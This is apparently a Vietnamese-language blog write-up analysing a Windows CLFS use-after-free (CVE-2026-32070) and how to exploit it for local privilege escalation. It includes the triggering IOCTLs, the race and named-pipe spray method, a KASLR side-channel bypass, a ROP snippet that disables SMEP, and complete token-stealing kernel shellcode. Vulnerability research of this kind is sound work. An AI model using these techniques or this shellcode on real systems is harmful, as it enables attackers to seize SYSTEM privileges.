Skip to main content

CVE-2026-32070 1day analysis

·1804 words·9 mins
wh0isthatguy
Author
wh0isthatguy
big brother is watching you
Images not loading? Try accessing this site using a VPN.
image

Overview
#

Sau khi mình phân tích xong CVE-2025-29824, thì sau đó vài ngày là patch tuesday của Microsoft và mình vô tình thấy bài đăng này

image
CLFS lại lần nữa có vuln LPE nên mình sẽ phân tích nó nữa vậy. Đây lại là vuln UAF, các thông tin cơ bản về CLFS có thể xem ở bài phân tích của mình
image
Nó có ảnh hưởng đến các version sau, chi tiết hơn có thể xem ở đây
image

Analysis
#

Diffcheck
#

Ở đây mình sẽ sử dụng win 26h1 và 23h2 để viết exploit và phân tích, trong đó chủ yếu mình sử dụng win 26h1. Nếu diffcheck thì ta sẽ thấy duy nhất có hàm CClfsManagedLog::AddNewClient có thay đổi đáng kể

image
Nếu vào ida so sánh ta thấy microsoft thêm feature check mitigation, do đó ta chắc chắn rằng bug nằm ở hàm này
image
Để hiểu sâu hơn về vuln, ta sẽ phân tích thay đổi những gì
image
Trong đó patch thay đổi thứ tự addref và init.

  • Trước patch: init được thực thi sau đó mới addref
  • Sau patch: addref thực thi trước rồi mới init

Để hiểu tại sau có vuln UAF ở đây, ta sẽ phân tích hàm CClfsManagedLog::AddNewClient. Hàm CClfsManagedLog::AddNewClient được trace như sau: ClfsMgmtDispatchIoClfsMgmtUserModeRegisterClfsMgmtpRegisterManagedClientCClfsManagedLog::AddNewClient Trong đó hàm ClfsMgmtUserModeRegister được handle ở các IOCTL sau:

  • 0x8007B008 (IOCTL_CLFS_MGMT_REGISTER)
if ( LowPart == 0x8007B008 )
{
  v10 = (__int128 *)MasterIrp;
  v11 = Irp;
  v12 = ClfsMgmtUserModeRegister(Irp, v10, Options, FileObject, (struct CClfsLogCcb *)FsContext2, 0);
  goto LABEL_58;
}
  • 0x8007B010 (IOCTL_CLFS_MGMT_INSTALL_POLICY)
case 0x8007B010:
  if ( Options >= 0x18 && MasterIrp )
  {
    if ( !*((_QWORD *)FsContext2 + 33) ) // If no client exists...
    {
      v12 = ClfsMgmtUserModeRegister(0, 0, 0, FileObject, (struct CClfsLogCcb *)FsContext2, 1u); // Auto-register
  • 0x8007B01C (IOCTL_CLFS_MGMT_SET_LOG_FILE_SIZE)
case 0x8007B01C:
  if ( Options == 8 )
  {
    // ... buffer checks ...
    else if ( *((_QWORD *)FsContext2 + 33)
           || (v12 = ClfsMgmtUserModeRegister(0, 0, 0, FileObject, (struct CClfsLogCcb *)FsContext2, 1u), v12 >= 0) ) // Auto-register if no client
  • 0x80077018 (IOCTL_CLFS_MGMT_QUERY_POLICY)
case 0x80077018:
  if ( !*((_QWORD *)FsContext2 + 33) ) // If no client exists...
  {
    v12 = ClfsMgmtUserModeRegister(0, 0, 0, FileObject, (struct CClfsLogCcb *)FsContext2, 1u); // Auto-register

Khi user muốn register client để handle cho file log clfs, có thể gọi các ioctl trên.
Khi hàm ClfsMgmtUserModeRegister thực thi, nó sẽ check user input (controllable) đến từ process x32 hay x64 để đảm bảo đủ buffer size tương ứng. Nếu ok nó sẽ gọi đến ClfsMgmtpRegisterManagedClient

image
Hàm ClfsMgmtpRegisterManagedClient sẽ check argument và check xem nên tạo hay sử dụng lại ManagedLog object trước đó và sau đó gọi CClfsManagedLog::AddNewClient
image
Hàm CClfsManagedLog::AddNewClient sau đó sẽ check xem user process muốn tạo log client (trường hợp của ta) hay là kernel mode process và allocate buffer tương ứng.
image
Pool sau khi được tạo sẽ được init các field vtable tương ứng
image
Sau đó pool trên sẽ được gán vào ManagedLog object trước đó và tiến hành init pool và addref
image

Trong đó CClfsManagedLogClientUser::Initialize đại khái sẽ parse data chúng ta truyền từ usermode, tạo pool ở kernelmode và copy data ta vào (hmmm new spray object?)

image
Sau đó nó sẽ init và install gì đó và tiếp sau đó sẽ gán pool của ta ở CClfsManagedLog::AddNewClient vào CCB list
image
Sau khi thực thi xong, nó sẽ return về và addref vào pool đó để cho biết có function đang sử dụng pool đó. Để có thể xoá client đó ta có thể trigger ClfsMgmtUserModeDeregister qua ioctl 0x8007B00C hoặc gọi CloseHandle để trigger quá trình cleanup. Nó sẽ check xem CCB list được gán kia có được init chưa, nếu rồi nó sẽ free pool client của ta.
image
Đến đây, ta dễ đàng thấy được vuln UAF xảy ra trong khoảng sau khi gán pool vào CCB list và trước addref, nếu trong khoảng thời gian này, ta trigger free thì có thể control được pool vtable obj. Pool này sau đó sẽ được reference để call ngay sau khi addref
image

Exploit
#

Từ phân tích phía trên ta dễ dàng có bug arbitrary call. Điều kiện là ta phải race để spray. Exploit này khá tương tự với bug CVE-2025-29824 trước đó. Trong đó ta sẽ trigger RtlSetAllBit để set full quyền etoken->privilege. Nhưng exploit đó tồn tại trên win 23h2 nên quá trình leak khá dễ dàng nhưng version trên đã được microsoft dừng support (dù vẫn còn patch). Do đó ở đây ta sẽ exploit trên windows 26h1. Ý tưởng của mình là thực hiện stack pivot để ropchain

KASLR bypass
#

Mình sẽ sử dụng kỹ thuật prefetch side channel để leak base. Kỹ thuật này ban đầu được build ở linux sau đó được port sang windows

image
Đại khái kỹ thuật này sẽ gọi syscall liên tục, kernel sẽ cached lại địa chỉ syscall handler để thực thi nhanh hơn, điều này dẫn đến có thể lợi dụng prefetch để timing từ đó tính ra địa chỉ base
image

image

Control RIP
#

Sau khi có leak, ý tưởng tiếp theo của ta là trigger uaf sau đó spray để malloc lại chunk vuln với data ta control. Từ đó nó sẽ arbitrary call địa chỉ ta muốn theo phân tích trên. Ý tưởng trigger cũng như ở CVE , trong đó mình sẽ tạo 2 thread

  • Thread 1: sẽ call IOCTL_CLFS_MGMT_REGISTER
  • Thread 2: sẽ call CloseHandle để trigger UAF, sau đó sẽ spray thông qua name pipe

Trong đó mình sài CloseHandle vì nó được handle ở một path ioctl khác, còn nếu trigger thông qua ioctl 0x8007B00C thì nó sẽ vào path ClfsMgmtDispatchIo, và path này sẽ đợi resource release mới chạy dẫn đến không trigger được UAF

image

Sau khi mình implement ý tưởng trên thì ta đã có crash đầu tiên (ảnh từ win 23H2)

image
Trong đó object bị UAF là rcx (ở đây chưa race kịp nên vẫn chưa control được)
image
Sau một hồi spray và debug mình thấy tuy đã control được obj tuy nhiên do ta spray bằng buffered namepipe nên dẫn đến 0x30 byte đầu chứa header (DATA_QUEUE_ENTRY) ta không thể control mà driver lại dereference 8 byte đầu
image
Tuy nhiên, dựa vào bài phân tích này ta có thể sử dụng unbuffered namepipe thông qua NtFsControlFile để spray. Ưu điểm của nó là ta có thể control được 0x30 byte đầu
image
Nếu spray thành công thì sẽ như sau:
image
Từ đây ta có thể control RIP

Stack pivot
#

Nếu ta exploit trên version <=23H2, đến bước này ta có thể gọi RtlSetAllBit vào eprocess.token để leo quyền. Tuy nhiên nếu exploit trên version cao hơn, ta không có được địa chỉ của token. Do đó ở đây ta sẽ sử dụng stack pivot Ở đây mình sử dụng tool này để tìm ROP gadget

image

Mình tìm được gadget sau:

042d478: mov esp, 0x8b00af90; add al, 0x88; ret;

Ta chỉ cần malloc địa chỉ 0x8b00af90 và ghi rop chain vào đó Nếu mình set breakpoint ở gadget trên thì sẽ stop ngay đó thành công, tuy nhiên nếu ta step tiếp thì sẽ bị lỗi sau

image
Mình tìm hiểu thì biết đây là do CPU bị double fault dựa vào blog này
image
Để fix nó ta cần làm cho địa chỉ stack đó cần page in và cần chừa 1 khoảng trước đó để cho thread khác sử dụng. Mình cũng giải quyết giống vậy, tuy có thể tránh double fault nhưng khi mình step debug tiếp thì lại bị lỗi tiếp ở KiInterruptSubDispatchNoLockNoEtw
image
Mình tìm hiểu về hàm trên thì thấy rằng hàm đó sẽ trigger khi ta dừng để debug, windows nhận thấy có một hàm freeze lâu nên gọi tới nó để terminate tránh deadlock.
image
Do đó mình thử ghi đại vài gadget trên stack và set breakpoint ngay đấy, và thực tế các gadget ngay đó được breakpoint trigger thành công. Điều này làm debug khá khó khăn vì ta không thể step từng bước nên cần chain gadget cẩn thận. Ý tưởng tiếp theo là ta sẽ return vào shellcode ta tạo ở usermode. Tuy nhiên nếu return trực tiếp sẽ BSOD do SMEP. Do đó ta cần chain trước gadget disable SMEP bằng cách clear bit thứ 20 ở register cr4. Trong đó giá trị 0x0000000000b50ef8 là giá trị cr4 hiện tại. Sau khi clear xong ta đã return được vào shellcode ở usermode

	ptr[i++] = popRcx;
	ptr[i++] = 0x0000000000b50ef8 ^ 1UL << 20;
	ptr[i++] = movCr4Rcx;
	ptr[i++] = (ll) shellcode; 

Trong đó shellcode đã được execute thành công

image
Shellcode mình sử dụng được lấy ở đây và chỉnh sửa offset phù hợp lại với 26H1

start:
  mov rax, [gs:0x188]       ; KPCRB.CurrentThread (_KTHREAD)
  mov rax, [rax + 0xb8]     ; APCState.Process (current _EPROCESS)
  mov r8, rax               ; Store current _EPROCESS ptr in RBX

loop:
  mov r8, [r8 + 0x448]      ; ActiveProcessLinks
  sub r8, 0x448             ; Go back to start of _EPROCESS
  mov r9, [r8 + 0x440]      ; UniqueProcessId (PID)
  cmp r9, 4                 ; SYSTEM PID? 
  jnz loop                  ; Loop until PID == 4

replace:
  mov rcx, [r8 + 0x4b8]      ; Get SYSTEM token
  and cl, 0xf0               ; Clear low 4 bits of _EX_FAST_REF structure
  mov [rax + 0x4b8], rcx     ; Copy SYSTEM token to current process

cleanup:
  mov rax, [gs:0x188]       ; _KPCR.Prcb.CurrentThread
  mov word ptr [rax + 0x1e4], 0 ;  KTHREAD.KernelApcDisable
  mov rdx, [rax + 0x90]     ; ETHREAD.TrapFrame
  mov rcx, GET_SHELL_ADDR   ; Target RIP
  mov r11, [rdx + 0x178]    ; ETHREAD.TrapFrame.EFlags
  mov rsp, [rdx + 0x180]    ; ETHREAD.TrapFrame.Rsp
  mov rbp, [rdx + 0x158]    ; ETHREAD.TrapFrame.Rbp
  xor eax, eax  ;
  swapgs
  o64 sysret  

Shellcode trên khá tương tự với kỹ thuật ret2usr trên linux. Trong đó ở đây, nó sẽ copy token của process pid=4 (System process) vào current process sau đó return về usermode bằng cách setup swapgs và sysret. Điều này lợi dụng khi kernel return về usermode khi call bằng syscall, nó sẽ gọi KiKernelSysretExit.

image
Hàm này sẽ restore lại context trước khi call ở usermode, ta chỉ cần viết lại các instruction tương tự để return do khi mình test nếu sử dụng trực tiếp KiKernelSysretExit sẽ bị tripple fault do hàm này lần nữa lại thay đổi esp
image

Đến đây là ta có thể leo quyền thành công

image
Đối với win 23h2 nó sẽ như sau
image

Quá trình exploit ta để ý sẽ thấy có thể đọc được value ở usermode do Microsoft chưa support SMAP do compatibility issues

image

III. Conclusion
#

Exploit được test trên:

  • win 11 23H2 22631.6783
  • win 11 26H2 28000.1764

Trong đó exploit được hardcode các offset để phù hợp với các version trên Ngoài ra quá trình race cho thấy tỉ lệ trigger được shell khá thấp do race window khá ngắn.

IV. References
#